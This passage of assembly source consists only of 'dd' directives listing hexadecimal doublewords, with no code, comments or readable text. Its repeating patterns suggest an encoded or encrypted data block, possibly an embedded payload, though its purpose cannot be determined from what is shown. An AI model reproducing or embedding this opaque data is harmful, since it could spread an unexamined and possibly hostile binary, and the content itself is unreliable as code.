		dd 0C41CBAE7h, 0E74538DDh, 0E587243Ah, 85E70CFBh, 0FBEDC534h
		dd 1005E7DEh, 81FBF5C6h, 0C41084E7h, 0E71EFBFDh, 0C5470C04h
		dd 87E740FBh, 0FBCD8620h, 1407E77Fh, 0BCFBD545h, 841C86E7h
		dd 0E7C6FBDDh, 0E5C73806h, 81E727BBh, 0BBED4438h, 2401E713h
		dd 50BBF585h, 863880E7h, 0E78DBBFDh, 0C5060400h, 83E721BBh
		dd 0BBCD4700h, 1403E7BDh, 34BBD585h, 862C82E7h,	0E759BBDDh
		dd 0E5853402h, 8DE7147Bh, 7BED0638h, 100DE79Ah,	0F47BF505h
		dd 47188CE7h, 0E7FF7BFDh, 0C545340Ch, 8FE70D7Bh, 7BCD8510h
		dd 140FE75Dh, 0A67BD505h, 47048EE7h, 0E7E67BDDh, 0E507340Eh
		dd 89E7703Bh, 3BEDC608h, 1409E769h, 0CB3BF544h,	842C88E7h
		dd 0E7A7BCC1h, 0C1444CB3h, 0B3E790BCh, 0BCC10564h, 70B3E768h
		dd 0EBBCC147h, 758B3E7h, 0E7F5BCC1h, 0C14768B3h, 0B3E742BCh
		dd 0BCC1C760h, 78B3E719h, 1BBCC186h, 454B3E7h, 0E71DBCC1h
		dd 0C10540B3h, 0B3E745BCh, 0BCC18748h, 58B3E72Eh, 4BCC106h
		dd 574B3E7h, 0E746BCC1h, 0C1C468B3h, 0B3E7F4BCh, 0BCC1C674h
		dd 40B3E752h, 17BCC146h, 8474B3E7h, 0E73BBCC1h,	0C18774B3h
		dd 0B3E769BCh, 0BCC1477Ch, 68B3E755h, 0AABCC145h, 465CB3E7h
		dd 0E7F6BCC1h, 0C18770B3h, 0B3E727BCh, 0BCC1C46Ch, 68B3E75Bh
		dd 76BCC1C6h, 0C544B3E7h, 0E76EBCC1h, 0C14760B3h, 0B3E77CBCh
		dd 0BCC14544h, 74B3E793h, 49BCC145h, 47CB3E7h, 0E733BCC1h
		dd 0C1476CB3h, 0B3E7B7BCh, 0BCC14450h, 60B3E707h, 0ACBCC186h
		dd 46CB3E7h, 8D3DBCC1h,	814075AAh, 0AD83FCADh, 0AD8D4075h
		dd 756CA3FCh, 0FCEDB340h, 4075A8A3h, 0A3FC6D81h, 0A9407520h
		dd 20B3FC2Dh, 0AD804075h, 75AE83FCh, 0FC6DB740h, 407523A3h
		dd 0A3FCAD95h, 0B5407561h, 2AB3FCADh, 2D884075h, 756EB3FCh
		dd 0FC2DBF40h, 40752083h, 83FCEDB0h, 0B24075A1h, 0AF93FCADh
		dd 6DA84075h, 752CB3FCh, 0FC6DA140h, 4075ECA3h,	93FC2DBDh
		dd 4160756Fh, 0B3E7C6BCh, 0BCC10754h, 4CB3E711h, 18BCC1C5h
		dd 4674B3E7h, 0E7F3BCC1h, 0C1C570B3h, 0B3E7CBBCh, 0BCC10768h
		dd 7CB3E7B4h, 0D1BCC1C5h, 4554B3E7h, 0E762BCC1h, 0C1C758B3h
		dd 0B3E757BCh, 0BCC10558h, 6CB3E726h, 95BCC1C5h, 4758B3E7h
		dd 0E78ABCC1h, 0C1C568B3h, 0B3E7A5BCh, 0BCC18568h, 48B3E747h
		dd 6BBCC144h, 8760B3E7h, 0E7A1BCC1h, 0C1C460B3h, 0B3E736BCh
		dd 0BCC14478h, 4CB3E7D2h, 0BCC146h, 66CB3E7h, 0E716BCC1h
		dd 0C1C65CB3h, 0B3E7D9BCh, 0BCC10774h, 68B3E75Ch, 40BCC104h
		dd 4754B3E7h, 0E7F8BCC1h, 0C1456CB3h, 0B3E71CBCh, 0BCC14750h
		dd 70B3E7A8h, 5DBCC1C7h, 640B3E7h, 0E728BCC1h, 0C14644B3h
		dd 0B3E7E2BCh, 0BCC10470h, 5CB3E712h, 34BCC144h, 660B3E7h
		dd 0E763BCC1h, 0C10460B3h, 0B3E7A2BCh, 0BCC14540h, 40B3E794h
		dd 3EBCC1C7h, 778B3E7h,	0E77DBCC1h, 0C1C55CB3h,	0B3E74FBCh
		dd 0BCC18544h, 48B3E74Ah, 0DABCC185h, 847CB3E7h, 0E76ABCC1h
		dd 0C1C448B3h, 0B3E754BCh, 0BCC1866Ch, 64B3E7BBh, 43BCC145h
		dd 8648B3E7h, 0E7D5BCC1h, 0C1065CB3h, 0B3E7FBBCh, 0BCC1C650h
		dd 74B3E773h, 22BCC106h, 8650B3E7h, 0E7CFBCC1h,	0C10568B3h
		dd 0B3E7C7BCh, 0BCC1C578h, 60B3E714h, 89BCC105h, 856CB3E7h
		dd 0E7E1BCC1h, 0C18440B3h, 0B3F72CBCh, 2D8940F7h, 752093FCh
		dd 0FCAD8540h, 4075E0B3h, 0B3FCAD9Ah, 0BC40756Fh, 0AEB3FCEDh
		dd 0ADAF4075h, 7525B3FCh, 0FCED8840h, 4075ABB3h, 93FCAD9Fh
		dd 0B640752Ch, 69B3FC6Dh, 6DB94075h, 752B93FCh,	0FC6D8540h
		dd 4075EBA3h, 0B3FCED9Eh, 8B407521h, 6783FC6Dh,	2D904075h
		dd 75EEA3FCh, 0FC2DAD40h, 40756B93h, 0A3FC6D9Eh, 0A6407526h
		dd 0E093FC6Dh, 6DBC4075h, 75E3B3FCh, 0FCEDB240h, 40756793h
		dd 83FCEDA1h, 9F407522h, 0A293FC6Dh, 2DB34075h,	75A783FCh
		dd 0FC2D8440h, 407563B3h, 93FCEDB1h, 0B04075E3h, 0E7B3FCADh
		dd 0EDA94075h, 7522B3FCh, 0DD267D60h, 2AE55B25h, 0E4E526DDh
		dd 0FDB5A565h, 67E4EDE1h, 0E1DD35A5h, 0A561E4F5h, 0FDA1FDB4h
		dd 34A563E4h, 0E4C5A1DDh, 0FDB7A56Dh, 6FE4CD61h, 61DD37A5h
		dd 0A569E4D5h, 0DD21FDB6h, 36A56BE4h, 0A4E521DDh, 0FDB1A575h
		dd 77A4EDE0h, 0E0DD31A5h, 0A571A4F5h, 0FDA0FDB0h, 30A573A4h
		dd 0A4C5A0DDh, 0FDB3A57Dh, 7FA4CD60h, 60DD33A5h, 0A579A4D5h
		dd 0DD20FDB2h, 32A57BA4h, 64E520DDh, 0FDBDA545h, 4764EDE3h
		dd 0E3DD3DA5h, 0A54164F5h, 0FDA3FDBCh, 3CA54364h, 64C5A3DDh
		dd 0FDBFA54Dh, 4F64CD63h, 63DD3FA5h, 0A54964D5h, 0DD23FDBEh
		dd 3EA54B64h, 24E523DDh, 0FDB9A555h, 5724EDE2h,	0E2DD39A5h
		dd 0A55124F5h, 0FDA2FDB8h, 38A55324h, 24C5A2DDh, 0FDBBA55Dh
		dd 5F24CD62h, 62DD3BA5h, 0A55924D5h, 0DD22FDBAh, 3AA55B24h
		dd 0C70AEDE5h, 0E7C464F5h, 75B5A5FCh, 0E4FCA1E1h, 0E177B5ADh
		dd 0B5E4DC21h, 0A0E171B5h, 0B5BDA4FCh, 0DC20E173h, 7DB585A4h
		dd 64FCA3E1h, 0E17FB58Dh, 9564DC23h, 0A2E179B5h, 0B59D24FCh
		dd 0DC22E17Bh, 4575A524h, 0E7FCADE1h, 0E14775ADh, 0B5E7DC2Dh
		dd 0ACE14175h, 75BDA7FCh, 0DC2CE143h, 4D7585A7h, 67FCAFE1h
		dd 0E14F758Dh, 9567DC2Fh, 0AEE14975h, 759D27FCh, 0DC2EE14Bh
		dd 5535A527h, 0E6FCA9E1h, 0E15735ADh, 0B5E6DC29h, 0A8E15135h
		dd 35BDA6FCh, 0DC28E153h, 5D3585A6h, 66FCABE1h,	0E15F358Dh
		dd 9566DC2Bh, 0AAE15935h, 359D26FCh, 0DC2AE15Bh, 65F4A526h
		dd 0E1FCB5A1h, 0A167F4ADh, 0B5E1DC35h, 0B4A161F4h, 0F4BDA1FCh
		dd 0DC34A163h, 6DF485A1h, 61FCB7A1h, 0A16FF48Dh, 9561DC37h
		dd 0B6A169F4h, 0F49D21FCh, 0DC36A16Bh, 75B4A521h, 0E0FCB1A1h
		dd 0A177B4ADh, 0B5E0DC31h, 0B0A171B4h, 0B4BDA0FCh, 0DC30A173h
		dd 7DB485A0h, 60FCB3A1h, 0A17FB48Dh, 9560DC33h,	0B2A179B4h
		dd 0B49D20FCh, 0DC32A17Bh, 4574A520h, 0E3FCBDA1h, 0A14774ADh
		dd 0B5E3DC3Dh, 0BCA14174h, 74BDA3FCh, 0DC3CA143h, 4D7485A3h
		dd 63FCBFA1h, 0A14F748Dh, 9563DC3Fh, 0BEA14974h, 749D23FCh
		dd 0DC3EA14Bh, 5534A523h, 0E2FCB9A1h, 0A15734ADh, 0B5E2DC39h
		dd 0B8A15134h, 34BDA2FCh, 0DC38A153h, 5D3485A2h, 62FCBBA1h
		dd 0A15F348Dh, 9562DC3Bh, 0BAA15934h, 349D22FCh, 0E53AA15Bh
		dd 0F5D789EDh, 0FCE6856Ch, 0ED758565h, 6DE4FFA1h, 21ED7785h
		dd 8575E4DFh, 0FFA0ED71h, 73857DA4h, 0A4DF20EDh, 0ED7D8545h
		dd 4D64FFA3h, 23ED7F85h, 855564DFh, 0E3A2ED79h,	25F7A771h
		dd 0EDF9C549h, 7D64C761h, 23EDF785h, 8551A4D7h,	0E7ECEDDDh
		dd 0D34555A6h, 66F7AEEDh, 0EDC14579h, 4D27C768h, 2AEDCF05h
		dd 561E7D7h, 0E7F7ADD5h, 0DB844563h, 0A3F7B5ADh, 0ADC98469h
		dd 5DE2C773h, 31ADC7C4h, 0C47122D7h, 0E7FEADEDh, 0E3047520h
		dd 0E0F7BCADh, 0ADF10459h, 6DA1C77Ah, 38ADFF44h, 444161D7h
		dd 0E7C12DC5h, 0CB0765E8h, 28F7832Dh, 2DD90749h, 7D69C745h
		dd 72DD747h, 4751A9D7h,	0E7C82DFDh, 0F38755ABh,	6BF78A2Dh
		dd 2DE18779h, 4D2AC74Ch, 0E2DEFC7h, 0C761EAD7h,	0E7D36DF5h
		dd 0FB46456Eh, 0AEF7916Dh, 6DE94669h, 5DEFC757h, 156DE706h
		dd 6712FD7h, 0E7DA6DCDh, 903D652Dh, 29D7852Dh, 2DCB0775h
		dd 4DE8C740h, 32DC207h,	864968F7h, 0D70BEDDEh, 0D7867162h
		dd 0E2E748EDh, 0EDCCC679h, 4123F78Dh, 0CEEDC5C6h, 4669A3C7h
		dd 0D706EDFAh, 0F34651A0h
		dd 20E745EDh, 0EDE80659h, 61E1F780h, 0C3EDE106h, 474961C7h
		dd 0D711ADD6h, 0DF4771E7h, 67E752ADh, 0ADC40779h, 41A6F797h
		dd 0D4ADCD07h, 876926C7h, 0D71CADF2h, 0FB875125h, 0A5E75FADh
		dd 0ADE0C759h, 6164F79Ah, 0D9ADE9C7h, 549E4C7h,	0D73F6DCEh
		dd 0C7057169h, 0E9E77C6Dh, 6DDC4579h, 4128F7B9h, 0FA6DD545h
		dd 0C569A8C7h, 0D7326DEAh, 0E3C551ABh, 2BE7716Dh, 6DF88559h
		dd 61EAF7B4h, 0F76DF185h, 0C4496AC7h, 0D7252DC6h, 0CFC471ECh
		dd 6CE7662Dh, 2DD48479h, 41ADF7A3h, 0E02DDD84h,	4692DC7h
		dd 0D7282DE2h, 0EB04512Eh, 0AEE76B2Dh, 2DF04459h, 616FF7AEh
		dd 0ED2DF944h, 4751EFC7h, 0C7BEADD3h, 0DA4769AAh, 2AF7FDADh
		dd 0ADC10761h, 59EBE738h, 7BADC807h, 87716BD7h,	0C7B3ADF7h
		dd 0FE874968h, 0E8F7F0ADh, 0ADE5C741h, 7929E735h, 76ADECC7h
		dd 8651A9D7h, 0C7A4EDDBh, 0D286692Fh, 0AFF7E7EDh, 0EDC9C661h
		dd 596EE722h, 61EDC0C6h, 4671EED7h, 0C7A9EDFFh,	0F64649EDh
		dd 6DF7EAEDh, 0EDED0641h, 79ACE72Fh, 6CEDE406h,	0C4512CD7h
		dd 0C78A2DC3h, 0CAC469A1h, 21F7C92Dh, 2DD18461h, 59E0E70Ch
		dd 4F2DD884h, 47160D7h,	0C7872DE7h, 0EE044963h,	0E3F7C42Dh
		dd 2DF54441h, 7922E701h, 422DFC44h, 551A2D7h, 0C7906DCBh
		dd 0C2056924h, 0A4F7D36Dh, 6DD94561h, 5965E716h, 556DD045h
		dd 0C571E5D7h, 0C79D6DEFh, 0E6C549E6h, 66F7DE6Dh, 6DFD8541h
		dd 79A7E71Bh, 586DF485h, 47D27D7h, 0F750ADE8h, 0E104452Dh
		dd 0ADC713ADh, 0ADFA444Dh, 756CD7D6h, 95ADF344h, 0C45DECE7h
		dd 0F75DADCCh, 0C5C465EFh, 6FC71EADh, 0ADDE846Dh, 55AED7DBh
		dd 98ADD784h, 0C57D2EE7h, 0F74AEDE0h, 0E9C545A8h, 28C709EDh
		dd 0EDF2854Dh, 75E9D7CCh, 8FEDFB85h, 55D69E7h, 0F747EDC4h
		dd 0CD05656Ah, 0EAC704EDh, 0EDD6456Dh, 552BD7C1h, 82EDDF45h
		dd 877DABE7h, 0F7642DF8h, 0F1874526h, 0A6C7272Dh, 2DEAC74Dh
		dd 7567D7E2h, 0A12DE3C7h, 475DE7E7h, 0F7692DDCh, 0D54765E4h
		dd 64C72A2Dh, 2DCE076Dh, 55A5D7EFh, 0AC2DC707h,	467D25E7h
		dd 0F77E6DF0h, 0F94645A3h, 23C73D6Dh, 6DE2064Dh, 75E2D7F8h
		dd 0BB6DEB06h, 865D62E7h, 0F7736DD4h, 0DD866561h, 0E1C7306Dh
		dd 6DC6C66Dh, 8CD3F7F5h, 0F0ADE847h, 4655E1F7h,	0D7182DFFh
		dd 0F2467121h, 20F7DA2Dh, 2DE5065Dh, 79E0D79Dh,	5F2DE806h
		dd 0C64562F7h, 0D7132DCBh, 0C6C661A2h, 0A3F7D12Dh, 2DD1864Dh
		dd 6963D796h, 542DDC86h, 4775E6F7h, 0D70E6DD7h,	0DA475126h
		dd 27F7CC6Dh, 6DCD077Dh, 59E7D78Bh, 496DC007h, 0C76565F7h
		dd 0D7056DE3h, 0EEC741A5h, 0A4F7C76Dh, 6DF9876Dh, 4964D780h
		dd 426DF487h, 455EFF7h,	0D734EDEFh, 0E204712Fh,	2EF7F6EDh
		dd 0EDF5445Dh, 79EED7B1h, 73EDF844h, 84456CF7h,	0D73FEDDBh
		dd 0D68461ACh, 0ADF7FDEDh, 0EDC1C44Dh, 696DD7BAh, 78EDCCC4h
		dd 575E8F7h, 0D722ADC7h, 0CA055128h, 29F7E0ADh,	0ADDD457Dh
		dd 59E9D7A7h, 65ADD045h, 85656BF7h, 0D729ADF3h,	0FE8541ABh
		dd 0AAF7EBADh, 0ADE9C56Dh, 496AD7ACh, 6EADE4C5h, 86796CC7h
		dd 0E7C6ADC4h, 0C9865DACh, 0ADC704ADh, 0ADDEC671h, 556DE743h
		dd 81ADD3C6h, 669EFC7h,	0E7CDADF0h, 0FD064D2Fh,	2EC70FADh
		dd 0ADEA4661h, 45EEE748h, 8AADE746h, 87596BC7h,	0D7D0EDECh
		dd 0FAC5B49Ch, 2DF7582Dh, 2DE78569h, 5DADE7DBh,	512DEC85h
		dd 5516ED7h, 0C7D22DDDh, 0D60565EEh, 6FF7562Dh,	2DCB4579h
		dd 4DEFE7D5h, 7B2DC045h, 761A1D7h, 0C7F8EDD9h, 0D2075521h
		dd 0A0F77CEDh, 0EDCF4749h, 7D20E7FFh, 75EDC447h, 0C771E3D7h
		dd 0C7F6EDF5h, 0FEC74563h, 0E2F772EDh, 0EDE38759h, 6D62E7F1h
		dd 67EDE887h, 864125D7h, 0C7E4ADC1h, 0CA8675A5h, 24F760ADh
		dd 0ADD7C669h, 5DA4E7E3h, 69ADDCC6h, 465167D7h,	0C7EAADEDh
		dd 0E64665E7h, 66F76EADh, 0ADFB0679h, 4DE6E7EDh, 0DEADF006h
		dd 7796CC7h, 0D75DEDE4h, 0EF074DECh, 6DE7D9EDh,	0EDF24751h
		dd 65EDF75Ah, 0D0EDF947h, 0C7692EC7h, 0D753EDC8h, 0C3C75DAEh
		dd 2FE7D7EDh, 0EDDE8741h, 75AFF754h, 0C2EDD587h, 8659E8C7h
		dd 0D741ADFCh, 0F7866D68h, 0E9E7C5ADh, 0ADEAC671h, 4569F746h
		dd 0CCADE1C6h, 4649AAC7h, 0D74FADD0h, 0DB467D2Ah, 0ABE7CBADh
		dd 0ADC60661h, 552BF748h, 0E6ADCD06h, 447965C7h, 0C1656DD4h
		dd 0F5074D63h, 22F7E3EDh, 0EDFB4779h, 55E2E7A1h, 6EEDD147h
		dd 8751E0D7h, 0C72CEDDFh, 0CD877D20h, 61F7EAEDh, 0EDC3C749h
		dd 65A1E7A8h, 75ADD9C7h, 464125D7h, 0C737ADD7h,	0C5466DE5h
		dd 0A4F7F1ADh, 0ADCB0659h, 7564E7B3h, 7CADE106h, 0C67166D7h
		dd 0C73EADEFh, 0FDC65DA6h, 0E7F7F8ADh, 0ADF38669h, 4527E7BAh
		dd 8DEDD286h, 44D25E7h,	0F7CFEDDCh, 0CE0461E5h,	0A4C709EDh
		dd 0EDC04455h, 7964D74Bh, 84EDEA44h, 847D66E7h,	0F7C6EDE4h
		dd 0F68451A6h, 0E7C700EDh, 0EDF8C465h, 4927D742h, 9FADE2C4h
		dd 456DA3E7h, 0F7DDADECh, 0FE454163h, 22C71BADh, 0ADF00575h
		dd 59E2D759h, 96ADDA05h, 0C55DE0E7h, 0F7D4ADD4h, 0C6C57120h
		dd 61C712ADh, 0ADC88545h, 69A1D750h, 0A92DF285h, 0C64D28E7h
		dd 0F7EB2DFCh, 0EEC661E8h, 0A9C72D2Dh, 2DE08655h, 7969D76Fh
		dd 0A02DCA86h, 467D6BE7h, 0F7E22DC4h, 0D64651ABh, 0EAC7242Dh
		dd 2DD80665h, 492AD766h, 0BB6DC206h, 876DAEE7h,	0F7F96DCCh
		dd 0DE87416Eh, 2FC73F6Dh, 6DD0C775h, 59EFD77Dh,	0B26DFAC7h
		dd 75DEDE7h, 0F7F06DF4h, 0E607712Dh, 6CC7366Dh,	6DE84745h
		dd 69ACD774h, 2786C147h, 853C38E7h, 0E7A238C5h,	0CD4514BBh
		dd 3BE72C38h, 38D5050Ch, 4BAE7A9h, 3138DD84h, 0C41C3AE7h
		dd 0E7B4FBE5h, 0ED043485h, 5E73AFBh, 0FBF5442Ch, 2484E7BFh
		dd 0BFBFD07h, 473C04E7h, 0E78EFBC5h, 0CD871487h, 7E700FBh
		dd 0FBD5C70Ch, 486E785h, 1DFBDD46h, 61C06E7h, 0E798BBE5h
		dd 0EDC63481h, 1E716BBh, 0BBF5862Ch, 880E793h, 0F9BBFD04h
		dd 441000E7h, 0E77CBBC5h, 0CD843883h, 3E7F2BBh,	0BBD5C420h
		dd 2882E777h, 0EFBBDD45h, 53002E7h, 0E76A7BE5h,	0EDC5188Dh
		dd 0DE7E47Bh, 7BF58500h, 88CE761h, 0D57BFDC6h, 86100CE7h
		dd 0E7507BC5h, 0CD46388Fh, 0FE7DE7Bh, 7BD50620h, 288EE75Bh
		dd 0C37BDD87h, 0C7300EE7h, 0E7463BE5h, 0ED071889h, 9E7C83Bh
		dd 3BF54700h, 3C88E74Dh, 9A3BFD06h, 462408E7h, 0E71F3BC5h
		dd 0CD860C8Bh, 0BE7913Bh, 3BD5C614h, 1C8AE714h,	8C3BDD47h
		dd 7040AE7h, 0E709FAE5h, 0EDC72C95h, 15E787FAh,	0FAF58734h
		dd 3C94E702h, 0B6FAFDC4h, 0A42414E7h, 0E733F284h, 0CD440C97h
		dd 17E7BDFAh, 0FAD50414h, 1C96E738h, 0A0FADD85h, 0C50416E7h
		dd 0E725BAE5h, 0ED052C91h, 11E7ABBAh, 0BAF54534h, 1090E72Eh
		dd 44BAFDC7h, 870810E7h, 0E7C1BAC5h, 0CD472093h, 13E74FBAh
		dd 0BAD50738h, 3092E7CAh, 52BADD86h, 0C62812E7h, 0E7D77AE5h
		dd 0ED06009Dh, 1DE7597Ah, 7AF54618h, 109CE7DCh,	687AFD05h
		dd 45081CE7h, 0E7ED7AC5h, 0CD85209Fh, 1FE7637Ah, 7AD5C538h
		dd 309EE7E6h, 7E7ADD44h, 4281EE7h, 0E7FB3AE5h, 0EDC40099h
		dd 19E7753Ah, 3AF58418h, 0B898311Eh, 0DA3AFD06h, 462018E7h
		dd 0E75F3AC5h, 0CD86089Bh, 1BE7D13Ah, 3AD5C610h, 189AE754h
		dd 0CCEDD447h, 4775EEC7h, 0D78EEDDAh, 0E507412Eh, 0B5E749FCh
		dd 0FCEDC768h, 7035E7C7h, 42FCF587h, 0C478B4E7h, 0E7F6FCFDh
		dd 0C5846034h, 0B7E773FCh
		dd 0FCCD4448h, 5037E7FDh, 78FCD504h, 8558B6E7h,	0E7E0FCDDh
		dd 0E5C54036h, 0B1E765BCh, 0BCED0568h, 7031E7EBh, 6EBCF545h
		dd 0C754B0E7h, 0E704BCFDh, 0C5874C30h, 0B3E781BCh, 0BCCD4764h
		dd 0FC33F10Fh, 8ABCD507h, 8674B2E7h, 0E712BCDDh, 0E5C66C32h
		dd 0BDE7977Ch, 7CED0644h, 5C3DE719h, 9C7CF546h,	554BCE7h
		dd 0E7287CFDh, 0C5454C3Ch, 0BFE7AD7Ch, 7CCD8564h, 7C3FE723h
		dd 0A67CD5C5h, 4474BEE7h, 0E73E7CDDh, 0E5046C3Eh, 0B9E7BB3Ch
		dd 3CEDC444h, 5C39E735h, 0B03CF584h, 0C560B8E7h, 0E7673CFDh
		dd 0C5857838h, 0BBE7E23Ch, 3CCD4550h, 483BE76Ch, 0E93CD505h
		dd 8440BAE7h, 0E7713CDDh, 0E5C4583Ah, 85E7F4FFh, 0FFED0470h
		dd 6805E77Ah, 0FFFFF544h, 76084E7h, 0E74BFFFDh,	0C5477804h
		dd 87E7CEFFh, 0FFCD8750h, 4807E740h, 0C5FFD5C7h, 464086E7h
		dd 0E75DFFDDh, 0E5065806h, 81E7D8BFh, 0B7ACFD68h, 6801E756h
		dd 0D3BFF586h, 44C80E7h, 0E7B9BFFDh, 0C5445400h, 83E73CBFh
		dd 0BFCD847Ch, 6403E7B2h, 37BFD5C4h, 456C82E7h,	0E7AFBFDDh
		dd 0E5057402h, 8DE72A7Fh, 7FEDC55Ch, 440DE7A4h,	217FF585h
		dd 0C64C8CE7h, 0E7957FFDh, 0C586540Ch, 8FE7107Fh, 7FCD467Ch
		dd 640FE79Eh, 1B7FD506h, 876C8EE7h, 0E7837FDDh,	0E5C7740Eh
		dd 89E7063Fh, 3FED075Ch, 4409E788h, 0D3FF547h, 0AE4488E7h
		dd 43D2ED68h, 0B24E6564h, 0A663DCEDh, 0ED9C4E45h, 652743DEh
		dd 0D8ED860Eh, 0E456363h, 43DAAD80h, 9AC965E2h,	2023E4ADh
		dd 0ADB4C945h, 65A103E6h, 0E0ADAE89h, 8945E823h, 3E22DB8h
		dd 0A2496569h, 0AB23EC2Dh, 2D8C4945h, 652A03EEh, 0E82D9609h
		dd 9456E23h, 3EA6D90h, 8AC865EFh, 2D23F46Dh, 6DA4C845h
		dd 65AC03F6h, 0F06DBE88h, 88456E13h, 33F26D93h,	894865EFh
		dd 2D13FC6Dh, 6DA74845h, 65AC33FEh, 0F86DBD08h,	845E813h
		dd 33FA2DBBh, 0A1CB6569h, 0AB13C42Dh, 2D8FCB45h, 652A33C6h
		dd 0C02D958Bh, 8B456313h, 33C2AD83h, 994B65E2h,	2013CCADh
		dd 0ADB74B45h, 65A133CEh, 0C8ADAD0Bh, 0B45E513h, 33CAEDABh
		dd 0B1CA6564h, 0A613D4EDh, 0ED9FCA45h, 652733D6h, 0D0ED858Ah
		dd 8A452333h, 13D2AD85h, 9F4A65A2h, 6033DCADh, 0ADB14A45h
		dd 65E113DEh, 0D8ADAB0Ah, 0A45A533h, 13DAEDADh,	0B7D56524h
		dd 0E6F2E4EDh, 0ED99D545h, 6567D2E6h, 0E0ED8395h, 95452EF2h
		dd 0D2E26D95h, 8F5565AFh, 6DF2EC6Dh, 6DA15545h,	65ECD2EEh
		dd 0E86DBB15h, 1545A8F2h, 0D2EA2DBDh, 0A7D46529h, 0EBF2F42Dh
		dd 2D89D445h, 656AD2F6h, 0F02D9394h, 9445A8C2h,	0E2F22DBEh
		dd 0A4546529h, 0EBC2FC2Dh, 2D8A5445h, 656AE2FEh, 0F82D9014h
		dd 14452EC2h, 0E2FA6D96h, 8CD765AFh, 6DC2C46Dh,	6DA2D745h
		dd 65ECE2C6h, 0C06DB897h, 9745A5C2h, 0E2C2EDAEh, 0B4576524h
		dd 0E6C2CCEDh, 0ED9A5745h, 6567E2CEh, 0C8ED8017h, 174523C2h
		dd 0E2CAAD86h, 9CD665A2h, 60C2D4ADh, 0ADB2D645h, 65E1E2D6h
		dd 0D0ADA896h, 964568C2h, 0E2D22DB2h, 0A85665E9h, 2BC2DC2Dh
		dd 2D865645h, 65AAE2DEh, 0D82D9C16h, 1645EEC2h,	0E2DA6D9Ah
		dd 80D1656Fh, 0AD82E46Dh, 6DAED145h, 652CA2E6h,	0E06DB491h
		dd 91456582h, 0A2E2EDA2h, 0B85165E4h, 2682ECEDh, 0ED965145h
		dd 65A7A2EEh, 0E8ED8C11h, 1145E382h, 0A2EAAD8Ah, 90D06562h
		dd 0A082F4ADh, 0ADBED045h, 6521A2F6h, 0F0ADA490h, 9045E3B2h
		dd 92F2AD89h, 93506562h, 0A0B2FCADh, 0ADBD5045h, 652192FEh
		dd 0F8ADA710h, 104565B2h, 92FAEDA1h, 0BBD365E4h, 26B2C4EDh
		dd 0ED95D345h, 65A792C6h, 0C0ED8F93h, 9345EEB2h, 92C26D99h
		dd 8353656Fh, 0ADB2CC6Dh, 6DAD5345h, 652C92CEh,	0C86DB713h
		dd 134568B2h, 92CA2DB1h, 0ABD265E9h, 2BB2D42Dh,	2D85D245h
		dd 65AA92D6h, 0D02D9F92h, 9245AE92h, 0B2D26D9Fh, 8552652Fh
		dd 0ED92DC6Dh, 6DAB5245h, 656CB2DEh, 0D86DB112h, 12452892h
		dd 0B2DA2DB7h, 0ADDD65A9h, 6B52E42Dh, 2D83DD45h, 65EA72E6h
		dd 0E02D999Dh, 9D45A352h, 72E2AD8Fh, 955D6522h,	0E052ECADh
		dd 0ADBB5D45h, 656172EEh, 0E8ADA11Dh, 1D452552h, 72EAEDA7h
		dd 0BDDC65A4h, 6652F4EDh, 0ED93DC45h, 65E772F6h, 0F0ED899Ch
		dd 9C452562h, 42F2EDA4h, 0BE5C65A4h, 6662FCEDh,	0ED905C45h
		dd 65E742FEh, 0F8ED8A1Ch, 1C45A362h, 42FAAD8Ch,	96DF6522h
		dd 0E062C4ADh, 0ADB8DF45h, 656142C6h, 0C0ADA29Fh, 9F452862h
		dd 42C22DB4h, 0AE5F65A9h, 6B62CC2Dh, 2D805F45h,	65EA42CEh
		dd 0C82D9A1Fh, 1F45AE62h, 42CA6D9Ch, 86DE652Fh,	0ED62D46Dh
		dd 6DA8DE45h, 656C42D6h, 0D06DB29Eh, 0C5834862h, 0E7613BF9h
		dd 0C18508CBh, 4BE7EC3Bh, 3BC94510h, 18CAE768h,	0F73BD105h
		dd 0C4204AE7h, 0E7733BD9h, 0E18428D5h, 55E7FEFAh, 0FAE94430h
		dd 38D4E77Ah, 0C1FAF104h, 870054E7h, 0E745FAF9h, 0C1C708D7h
		dd 57E7C8FAh, 0FAC90710h, 18D6E74Ch, 0D3FAD147h, 862056E7h
		dd 0E757FAD9h, 0E1C628D1h, 51E7DABAh, 0BAE90630h, 38D0E75Eh
		dd 2BBAF146h, 52C50E7h,	0E7AFBAF9h, 0C14524D3h,	53E722BAh
		dd 0BAC9853Ch, 34D2E7A6h, 39BAD1C5h, 40C52E7h, 0E7BDBAD9h
		dd 0E14404DDh, 5DE7307Ah, 7AE9841Ch, 14DCE7B4h,	0F7AF1C4h
		dd 472C5CE7h, 0E78B7AF9h, 0C10724DFh, 5FE7067Ah, 7AC9C73Ch
		dd 0B4DEF006h, 1D7AD187h, 460C5EE7h, 0E7997AD9h, 0E10604D9h
		dd 59E7143Ah, 3AE9C61Ch, 14D8E790h, 783AF186h, 41858E7h
		dd 0E7FC3AF9h, 0C14410DBh, 5BE7713Ah, 3AC98408h, 0DAE7F5h
		dd 6A3AD1C4h, 475DA5F7h, 0E7282DF8h, 0F6477165h, 0F5E7EE2Dh
		dd 0FCE14570h, 6875E763h, 0E7FCE985h, 0C560F4E7h, 0E75CFCF1h
		dd 0F9465874h, 0F7E7D8FCh, 0FCC10650h, 4877E755h, 0D1FCC9C6h
		dd 8640F6E7h, 0E74EFCD1h, 0D9477876h, 0F1E7CAFCh, 0BCE10770h
		dd 6871E747h, 0C3BCE9C7h, 8760F0E7h, 0E7B6BCF1h, 0F9C47470h
		dd 0F3E732BCh, 0BCC1847Ch, 6473E7BFh, 3BBCC944h, 46CF2E7h
		dd 0E7A4BCD1h, 0D9C55472h, 0FDE720BCh, 7CE1855Ch, 447DE7ADh
		dd 297CE945h, 54CFCE7h,	0E7927CF1h, 0F986747Ch,	0FFE7167Ch
		dd 7CC1C67Ch, 647FE79Bh, 1F7CC906h, 466CFEE7h, 0E7807CD1h
		dd 0D987547Eh, 0F9E7047Ch, 3CE1C75Ch, 4479E789h, 0D3CE907h
		dd 474CF8E7h, 0E7DE3CF1h, 0F9467078h, 0FBE75A3Ch, 3CC10678h
		dd 607BE7D7h, 533CC9C6h, 8668FAE7h, 0E7CC3CD1h,	0D947507Ah
		dd 0C5E7483Ch, 0FFE10758h, 4045E7C5h, 41FFE9C7h, 8748C4E7h
		dd 0E7FAFFF1h, 0F9047044h, 0C7E77EFFh, 0FFC14478h, 6047E7F3h
		dd 77FFC984h, 0C468C6E7h, 0E7E8FFD1h, 0D9055046h, 0C1E76CFFh
		dd 0BFE14558h, 4041E7E1h, 65BFE985h, 0C548C0E7h, 0E710BFF1h
